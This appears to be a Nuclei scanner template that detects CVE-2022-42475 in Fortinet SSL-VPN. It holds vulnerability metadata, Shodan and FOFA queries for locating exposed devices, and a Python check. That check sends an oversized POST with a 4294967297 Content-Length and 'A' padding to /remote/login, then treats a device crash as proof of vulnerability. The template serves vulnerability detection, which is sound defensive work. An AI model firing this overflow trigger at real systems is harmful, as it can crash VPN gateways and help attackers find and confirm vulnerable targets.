id: CVE-2022-42475

info:
  name: Fortinet SSL-VPN - Heap-Based Buffer Overflow
  author: 0xhaggis,pszyszkowski,pussycat0x
  severity: critical
  description: |
    A heap-based buffer overflow vulnerability [CWE-122] in FortiOS SSL-VPN (versions 7.2.0 through 7.2.2, 7.0.0 through 7.0.8, 6.4.0 through 6.4.10, 6.2.0 through 6.2.11, 6.0.15 and earlier) and FortiProxy SSL-VPN (versions 7.2.0 through 7.2.1, 7.0.7 and earlier) may allow a remote unauthenticated attacker to execute arbitrary code or commands via specifically crafted requests.
  impact: |
    Remote attackers can execute arbitrary code or commands, potentially leading to full system compromise.
  remediation: |
    Fixed in:
    FortiOS >= 7.2.3, 7.0.9, 6.4.11, 6.2.12, 6.0.16
    FortiOS-6K7K >= 7.0.8, 6.4.10, 6.2.12, 6.0.15
    FortiProxy >= 7.2.2, 7.0.8, 2.0.12
  reference:
    - https://github.com/0xhaggis/CVE-2022-42475
    - https://fortiguard.com/psirt/FG-IR-22-398
    - https://labs.watchtowr.com/fortinet-no-more-funny-titles-cve-2022-42475/
    - https://bishopfox.com/blog/exploit-cve-2022-42475
    - https://github.com/3yujw7njai/CVE-2022-42475-RCE-POC
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-42475
    cwe-id: CWE-197,CWE-787
    epss-score: 0.99474
    epss-percentile: 0.99938
    cpe: cpe:2.3:o:fortinet:fortios:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: fortinet
    product: fortios
    shodan-query:
      - cpe:"cpe:2.3:o:fortinet:fortios"
      - http.html:"/remote/login" "xxxxxxxx"
      - http.favicon.hash:"945408572"
    fofa-query:
      - body="/remote/login" "xxxxxxxx"
      - icon_hash="945408572"
  tags: cve,cve2022,ssl-vpn,vpn,fortios,fortigate,heap-based,bufferoverflow,kev,vkev,vuln

flow: http () && code()

http:
  - method: GET
    path:
      - "{{BaseURL}}/remote/login"
      - "{{BaseURL}}/login"

    stop-at-first-match: true
    host-redirects: true
    matchers:
      - type: dsl
        internal: true
        dsl:
          - 'contains(body, "Launch FortiClient") || contains(body, "ftnt-fortinet-grid")'
          - 'status_code == 200'
        condition: and

code:
  - engine:
      - py
      - python3

    source: |
        import sys, os, time, socket, ssl

        PADDING        = 0x4141414141414141
        PADDING_LEN    = 1024*12
        CONTENT_LENGTH = b"4294967297"

        # Configuration for false positive prevention
        POST_EXPLOIT_WAIT = 2       # Seconds to wait before post-exploit check
        POST_EXPLOIT_RETRIES = 3    # Number of retries for post-exploit connectivity
        CONNECTIVITY_TIMEOUT = 5    # Timeout for connectivity checks

        class SSLVPNExploit:
          def __init__(self, host, port):
            self.host = host
            self.port = port
            self.useSSL = os.getenv("Scheme") == "https"

          def create_socket(self, timeout=2.0):
            """Create a new socket connection"""
            try:
              sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
              sock.settimeout(timeout)
              if self.useSSL:
                ctx = ssl._create_unverified_context()
                sock = ctx.wrap_socket(sock)
              sock.connect((self.host, self.port))
              return sock
            except Exception as e:
              return None

          def check_connectivity(self, timeout=CONNECTIVITY_TIMEOUT):
            """
            Check if target is responsive with a simple GET request.
            Returns: (success: bool, response_time: float)
            """
            try:
              start_time = time.time()
              sock = self.create_socket(timeout)
              if sock is None:
                return False, 0

              get_req = b"GET /remote/login HTTP/1.1\r\nHost: " + self.host.encode() + b":" + str(self.port).encode()
              get_req += b"\r\nUser-Agent: Mozilla/5.0\r\nAccept: */*\r\n\r\n"

              sock.sendall(get_req)
              sock.settimeout(timeout)
              response = sock.recv(4096)
              elapsed = time.time() - start_time
              sock.close()

              return len(response) > 0, elapsed
            except Exception as e:
              return False, time.time() - start_time

          def check_by_get(self):
            """Pre-flight connectivity check"""
            print("[>] Pre-flight connectivity check...")
            success, elapsed = self.check_connectivity()
            if success:
              print(f"[+] Target is responsive (response time: {elapsed:.2f}s)")
              return True
            else:
              print("[!] Target is not responsive - cannot test")
              return None

          def send_exploit_payload(self):
            """
            Send the exploit payload and analyze the response.
            Returns: (result_type: str, elapsed_time: float, details: str)
            Result types: 'PATCHED', 'TIMEOUT', 'EMPTY_RESPONSE', 'CONNECTION_DROP', 'ERROR'
            """
            req = bytearray(b"")
            req += b"POST /remote/login HTTP/1.1\r\nHost: " + self.host.encode() + b":" + str(self.port).encode()
            req += b"\r\nContent-Length: " + CONTENT_LENGTH
            req += b"\r\nUser-Agent: AAAAAAAAAAAAAAAA\r\nContent-Type: application/x-www-form-urlencoded\r\nAccept: */*\r\n\r\n"
            req += b"AAAAAAAA" * PADDING_LEN

            try:
              sock = self.create_socket(timeout=10)
              if sock is None:
                return 'ERROR', 0, 'Could not connect'

              start_time = time.time()
              sock.sendall(req)
              sock.settimeout(10)
              buf = sock.recv(1048576)
              elapsed = time.time() - start_time
              sock.close()

              if len(buf) == 0:
                return 'EMPTY_RESPONSE', elapsed, 'Empty response received'

              if b"413" in buf or b"Request Entity Too Large" in buf:
                return 'PATCHED', elapsed, 'Target returned 413 - patched'

              return 'UNEXPECTED', elapsed, buf.decode("utf-8", errors="replace")[:200]

            except socket.timeout:
              return 'TIMEOUT', time.time() - start_time, 'Socket timeout'
            except Exception as e:
              return 'CONNECTION_DROP', time.time() - start_time, str(e)

          def post_exploit_connectivity_check(self):
            """
            Check if target is still responsive after exploit attempt.
            This is the KEY differentiator between:
            - Firewall/WAF drop (device still responsive)
            - Actual crash (device unresponsive)

            Returns: (responsive: bool, details: str)
            """
            print(f"[>] Waiting {POST_EXPLOIT_WAIT}s before post-exploit check...")
            time.sleep(POST_EXPLOIT_WAIT)

            for attempt in range(1, POST_EXPLOIT_RETRIES + 1):
              print(f"[>] Post-exploit connectivity check (attempt {attempt}/{POST_EXPLOIT_RETRIES})...")
              success, elapsed = self.check_connectivity(timeout=CONNECTIVITY_TIMEOUT)
              if success:
                return True, f"Device responsive after {elapsed:.2f}s"
              time.sleep(1)

            return False, "Device unresponsive after multiple attempts"

          def is_vulnerable(self):
            """
            Improved vulnerability detection with false positive prevention.

            Detection logic:
            1. If target returns 413 -> PATCHED (not vulnerable)
            2. If target times out waiting for data -> NOT VULNERABLE
            3. If connection drops/empty response:
               a. Check if device is still responsive
               b. If responsive -> FALSE POSITIVE (firewall/WAF dropped connection)
               c. If unresponsive -> LIKELY VULNERABLE (device crashed)
            """
            print("[>] Sending exploit payload...")
            result, elapsed, details = self.send_exploit_payload()

            print(f"[>] Exploit result: {result} (elapsed: {elapsed:.2f}s)")
            print(f"[>] Details: {details[:100]}...")

            # Case 1: Target is patched (413 response)
            if result == 'PATCHED':
              print("[+] Target is PATCHED - returned 413 Request Entity Too Large")
              return False

            # Case 2: Target waited for more data (timeout)
            if result == 'TIMEOUT':
              print("[+] Target waited for more data - NOT VULNERABLE")
              return False

            # Case 3: Connection drop or empty response - NEEDS VERIFICATION
            if result in ('EMPTY_RESPONSE', 'CONNECTION_DROP'):
              print("[!] Connection dropped or empty response - verifying if this is a false positive...")

              # KEY FIX: Check if device is still responsive
              responsive, check_details = self.post_exploit_connectivity_check()

              if responsive:
                # Device is still responsive = Firewall/WAF dropped the connection
                print(f"[!] FALSE POSITIVE DETECTED: {check_details}")
                print("[!] Device is still responsive after exploit attempt")
                print("[!] This indicates firewall/IPS/WAF intervention, NOT a crash")
                return False  # NOT VULNERABLE - false positive
              else:
                # Device is unresponsive = Possible crash
                print(f"[+] Device appears to have crashed: {check_details}")
                print("[+] Target may be VULNERABLE (device unresponsive after exploit)")
                return True  # LIKELY VULNERABLE

            # Case 4: Unexpected response
            if result == 'UNEXPECTED':
              print(f"[?] Unexpected response received - manual review needed")
              print(f"[?] Response: {details}")
              return None

            # Case 5: Error
            print(f"[!] Error during exploit: {details}")
            return None

        if __name__ == '__main__':
          host = os.getenv("Host")
          port = int(os.getenv("Port"))

          print("=" * 60)
          print("CVE-2022-42475 - Fortinet SSL-VPN Heap Overflow Check")
          print("(With False Positive Prevention)")
          print("=" * 60)
          print(f"[*] Target: {host}:{port}")
          print(f"[*] SSL/TLS: {os.getenv('Scheme') == 'https'}")

          exploit = SSLVPNExploit(host, port)

          # Step 1: Pre-flight connectivity check
          check = exploit.check_by_get()
          if check != True:
            print("[!] Pre-flight check failed - target unreachable")
            exit(1)

          # Step 2: Vulnerability check with false positive prevention
          result = exploit.is_vulnerable()

          if result == None:
            print("[!] An error occurred testing for the vulnerability.")
            print("[!] Is this even a FortiGate SSL-VPN?")
            exit(2)

          if result == True:
            print("=" * 60)
            print("[+] Target appears to be VULNERABLE")
            print("[+] Device became unresponsive after exploit payload")
            print("=" * 60)
            exit(0)
          else:
            print("=" * 60)
            print("[+] Target is NOT vulnerable")
            print("=" * 60)
            exit(1)

    matchers:
      - type: word
        words:
          - "Target appears to be VULNERABLE"
# digest: 490a0046304402203a594ca86728ad75290e4473c074d814b8eef20d8dae6a0d74a8e34835d9b8ed02202277f1b2746b99d80032baca203562d0d4116d9dd34f0ddf7a6de61ea66dfb0c:922c64590222798bb761d5b6d8e72950